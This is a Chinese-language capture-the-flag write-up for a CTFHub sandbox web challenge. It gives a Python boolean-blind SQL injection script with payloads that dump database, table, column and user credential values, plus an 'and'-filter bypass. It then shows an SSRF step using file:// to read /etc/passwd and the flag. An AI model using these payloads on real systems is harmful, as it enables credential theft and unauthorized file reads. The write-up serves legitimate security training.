场景描述:最新的网站测试器,作为非站长的你,能利用好它的功能吗?
场景打开后,如下,是个登录框
查看源码,发现可能的注入点 /image.php?id=2
布尔盲注
from requests import *
allstr = '123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
myurl = 'http://challenge-a26d398b5f986b54.sandbox.ctfhub.com:10800/image.php'
info = ''
for i in range(1, 50):
for s in allstr:
#两种注入语句都可以,但是结果有不同
# payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i, ord(s))
payload = '?id=if(substr(database(),{},1)=\'{}\',1,(select/**/table_name/**/from/**/information_schema.tables))'.format(i, s)
resp = get(url=myurl + payload)
if len(resp.text) > 4000:
info += s
print(info)
#爆破数据库
payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s))
#爆破表名
payload = '?id=if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=\'ctf\'),{},1))={},1,5)'.format(i,ord(s))
#爆破列名
payload = '?id=if(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\'users\'),{},1))={},1,5)'.format(i,ord(s))
#爆破字段
payload = '?id=if(ascii(mid((select/**/group_concat(username,password)/**/from/**/ctf.users),{},1))={},1,5)'.format(i,ord(s))
这里在做题的时候,发现爆破字段得到的结果不是ctf下的users的字段,因为没有加ctf这个限制,应该是爆破到了其他数据库下的users中的字段,需要加上数据库名ctf的限制条件,不过这里题目有对 ‘and’关键字过滤,所以需要用‘&&’替换,而且还要编码为ulr格式‘%26%26’,这里也是用brupsuit抓包分析了很久才发现的,不过只要有耐心,最终还是会发现。
修改后的payload
payload = '?id=if(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\'users\'/**/%26%26/**/table_schema=database()),{},1))={},1,5)'.format(i, ord(s))
关键函数解释
查询到的信息
Tables_in_ctf: users,images
Columns_in_users: username,password
values_in_users: adminf5b86501931f812ed3833dee67a43603
curl这里应该存在SSRF
尝试file://协议去读文件,成功
file:///etc/passwd
直接读flag
file:///flag
参考:
https://www.cnblogs.com/zhengna/p/15907372.html
https://baijiahao.baidu.com/s?id=1713692186315301136